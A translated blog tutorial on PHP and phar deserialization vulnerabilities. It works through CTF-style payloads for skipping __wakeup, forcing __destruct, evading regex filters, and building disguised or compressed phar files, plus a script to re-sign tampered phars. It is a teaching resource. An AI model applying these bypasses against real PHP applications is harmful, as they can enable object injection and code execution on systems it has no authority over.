php(phar) deserialization vulnerability and various bypass gestures

concept:

Serialization is actually converting data into a reversible data structure. Naturally, the reverse process is called deserialization. To put it simply, I constructed a class in one place, but I want to use it in another place, so how do I pass it on? So I thought of serialization, serialize the object into a string (data), and then deserialize it when it needs to be used later to get the object to be used, which is very convenient.

Let's see what the official manual says:

All values ​​in PHP can be represented by using the function serialize() to return a string containing a byte stream. The unserialize() function can change the string back to the original value of PHP. Serializing an object will save all the variables of the object, but not the methods of the object, only the name of the class.

In order to be able to unserialize() an object, the object's class must have been defined. If an object of class A is serialized, a string related to class A and containing all variable values ​​of the object will be returned. If you want to deserialize an object in another file, the object's class must be defined before deserialization, which can be achieved by including a file that defines the class or using the function spl_autoload_register( ) .

PHP uses two functions to serialize and deserialize data:

  1. serialize() formats an object into an ordered string.
  2. unserialize() restores the string to its original object.

The purpose of serialization is to facilitate data transmission and storage. In PHP, serialization and deserialization are generally used as caches, such as session caches, cookies, etc.

Note: Creating an object in php is different from deserializing an object. For example, creating an object generally calls the __construct() method first, and deserializing an object if there is a __wakeup() method. It is preferred to call it instead of executing __construct().

Basically every programming language has its own serialization and deserialization methods, and the formats are also different

Like there are:

  1. binary format
  2. byte array
  3. json string
  4. xml string
  5. Python's opCode code 

simple example

<?php
$arr = array('aa', 'bb', 'cc' => 'dd');
$serarr = serialize($arr);
echo $serarr;
var_dump($arr);

output

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}
array(3) {
    [0]=> string(2) "aa"
    [1]=> string(2) "bb"
    ["cc"]=> string(2) "dd"
}

What does this sequence of output represent?

a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}

a:array represents an array, and the following 3 indicates that there are three attributes.

i: stands for integer data int, followed by 0 is the array subscript (O stands for Object, which is also a class).

s: represents a string, and the following 2 is because the length of aa is 2, which is the string length value.

And so on.

At the same time, it should be noted that after serialization, there are only member variables and no member functions.

Note that if the variable is protected, it will add \x00*\x00 before the variable name, and private will add \x00 class name\x00 before the variable name, and url encoding is generally required for output, as follows:

<?php
class test {
    protected $name;
    private $pass;
    function __construct($name, $pass) {
        $this->name = $name;
        $this->pass = $pass;
    }
}
$a = new test('pankas', '123');
$seria = serialize($a);
echo $seria.'<br/>';
echo urlencode($seria);

Direct output will result in the loss of invisible characters \x00.

O:4:"test":2:{s:7:"*name";s:6:"pankas";s:10:"testpass";s:3:"123";}
O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D

For detailed usage of commonly used magic methods for deserialization, please refer to the official documentation

__construct()//类的构造函数,创建类对象时调用__destruct()//类的析构函数,对象销毁时调用__call()//在对象中调用一个不可访问方法时调用__callStatic()//用静态方式中调用一个不可访问方法时调用__get()//获得一个类的成员变量时调用__set()//设置一个类的成员变量时调用__isset()//当对不可访问属性调用isset()或empty()时调用__unset()//当对不可访问属性调用unset()时被调用。__sleep()//执行serialize()时,先会调用这个函数__wakeup()//执行unserialize()时,先会调用这个函数,执行后不会执行__construct()函数__toString()//类被当成字符串时的回应方法__invoke()//调用函数的方式调用一个对象时的回应方法__set_state()//调用var_export()导出类时,此静态方法会被调用。__clone()//当对象复制完成时调用__autoload()//尝试加载未定义的类__debugInfo()//打印所需调试信息

various bypass positions

Bypass __wakeup (CVE-2016-7124)

When the wakeup() magic method executes unserialize(), this function will be called first, and the `construct()` function will not be executed.

Bypass method: When the value representing the number of object attributes in the serialized string is greater than the actual number of attributes, the execution of __wakeup will be skipped.

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='def';
    }
    public function  __destruct(){
        echo $this->a;
    }
}

After serialization, it is O:4:"test":1:{s:1:"a";s:3:"abc";}

Perform deserialization unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

The result is def, and it is found that __wakeup() is executed first, and __construct() is not executed.

When we increase the number of attributes of the object, change it to O:4:"test":2:{s:1:"a";s:3:"abc";}, from the original 1 attribute to There are 2, but the real attribute of the test class is only one, so that __wakeup() can be bypassed to execute other corresponding magic methods as if there is no such magic method.

Perform deserialization unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');

The result is abc, and it is found that __construct() is executed first, and __wakeup() is not executed.

__destruct() related

__destruct is a magic method of a PHP object, called a destructor. As the name implies, this is a function that is automatically executed when the object is destroyed. The following situations will trigger __destruct.

  • Actively call unset($obj)
  • Active call $obj = NULL
  • Program ends automatically

In addition, PHP also has Garbage collection, which is what we often call the GC mechanism.

GC in PHP uses reference counting and recycling cycles to automatically manage memory objects. Then when our objects become "garbage", they will be automatically recycled by the GC mechanism. During the recycling process, the function's __destruct will be called.

Just now we mentioned reference counting. In fact, when an object does not have any references, it will be regarded as "garbage", that is,

$a = new test();

The test object is referenced by the variable a, so the object is not "garbage", whereas if

new test();

or this

$a = new test();
$a = 1;

In this way, when the test is not referenced or lost reference, it will be treated as "garbage" for recycling.

like:

<?php
class test{
function __construct($i) {$this->i = $i; }
function __destruct() { echo $this->i."Destroy...\n"; }
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————<br/>";

output

1Destroy...
2Destroy...
————————————
3Destroy...

Here is when a is assigned for the second time, test('2') loses the reference, executes __destruct, and then executes echo, when the program is finished, test('3') is destroyed, and its __destruct is executed.

Take a chestnut:

<?php
class test {
    function __destruct()
{
        echo 'success!!';
    }
}
if(isset($_REQUEST['input'])) {
    $a = unserialize($_REQUEST['input']);
    throw new Exception('lose');
}

Here we require to output success!!, but the object obtained after deserialization has a reference, and the a variable is given, and then the program throws an exception, which ends abnormally, resulting in the GC mechanism not being completed normally, that is, not executing_ _destruct.

Directly construct the deserialization test class to get:

So we have to deserialize manually to "destroy" the created object. Here we can use arrays to complete. structure:

class test {}
$a = serialize(array(new test, null));
echo $a.'<br/>';
$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为null
echo $a;

get

a:2:{i:0;O:4:"test":0:{}i:1;N;}
a:2:{i:0;O:4:"test":0:{}i:0;N;}//最终payload

Incoming, successfully get success!!

We serialize an array object and consider deserializing this string, because the deserialization process is performed sequentially, so when we reach the first property, we will set Array[0] as the object, and at the same time we will set Array[ 0] is set to null, so that the previous test object will lose its reference, and will be captured by GC, and __destruct can be executed.

bypass regex

For example, preg_match('/^O:\d+/') matches whether the serialized string is the beginning of the object string.

bypass method

  • Use the plus sign to bypass (note that + must be encoded as %2B when passing parameters in the url).
  • Use the array object to bypass, such as serialize(array($a)); a is the object to be deserialized (the serialization result starts with a, which does not affect the destruction of $a as an array element).
<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}
 
function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('nonono!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放入数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

Bypass by reference

As follows, it is required to output you success, but the constructed serialized string cannot be composed of aaa

<?php
class test {
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'aaa';
    }
    public function __destruct(){
 
        if($this->a === $this->b) {
            echo 'you success';
        }
    }
}
if(isset($_REQUEST['input'])) {
    if(preg_match('/aaa/', $_REQUEST['input'])) {
       die('nonono');
    }
    unserialize($_REQUEST['input']);
}else {
    highlight_file(__FILE__);
}

Can be bypassed by reference

class test {
    public $a;
    public $b;
    public function __construct(){
        $this->b = &$this->a;
    }
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

Construct the reference so that the address of $b and $a are the same so as to bypass the detection and meet the requirement.

Hexadecimal bypass character filtering

When the s representing the character type in the sequence string is capitalized, it will be parsed as hexadecimal.

Take a chestnut:

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        echo 'success';
    }
}
function check($data){
    if(preg_match('/username/', $data)){
        echo("nonono!!!</br>");
    }
    else{
        return $data;
    }
}
// 未作处理前,会被waf拦截
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
// 将小s改为大S; 做处理后 \75是u的16进制, 成功绕过
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

output

phar deserialization

Basic introduction and usage of phar

At the same time, you should focus on the introduction of phar in the official documents (be sure to pay attention to the official documents, official documents yyds)

generate phar

<?php
class TestObject {
}
 
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

ps: Note that the objects stored in the phar will be referenced by the metadata attribute of the phar object after deserialization.

some way around

When the environment restricts that phar cannot appear in the preceding characters. Can be bypassed using compress.bzip2:// and compress.zlib:// etc.

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

Other protocols, such as filter, can also be used.

php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF format validation can be bypassed by adding GIF89a to the file header.


$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
//生成一个phar.phar,修改后缀名为phar.gif

Filtered __HALT_COMPILER();

Refer to https://guokeya.github.io/post/uxwHLckwx (principle)

Pose 1:

**将phar文件进行gzip压缩** ,使用压缩后phar文件同样也能反序列化 (常用)

Under Linux, use the command gzip phar.phar to generate.

Posture 2:

将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过

$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();

phar file signature modification

For some cases, we need to modify the contents of the phar file to meet certain requirements (such as modifying the number of attributes to bypass __wakeup), and the modified phar file needs to modify the signature before it can be used normally due to changes in the file. This is what the official documentation says:

Phar Signature format(https://www.php.net/manual/zh/phar.fileformat.signature.php#phar.fileformat.signature

Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The signature formats supported at this time are MD5, SHA1, SHA256, SHA512, and OPENSSL.

Use winhex or 010-editor to view the phar file signature type (take the phar file generated by the above code as an example)

Take the default sha1 signature as an example:

from hashlib import sha1
with open('phar.phar', 'rb') as file:
    f = file.read()     # 修改内容后的phar文件,以二进制文件形式打开
 
s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
 
with open('newPhar.phar', 'wb') as file:
    file.write(newf) # 写入新文件

Guess you like

Origin blog.csdn.net/MrWangisgoodboy/article/details/130146658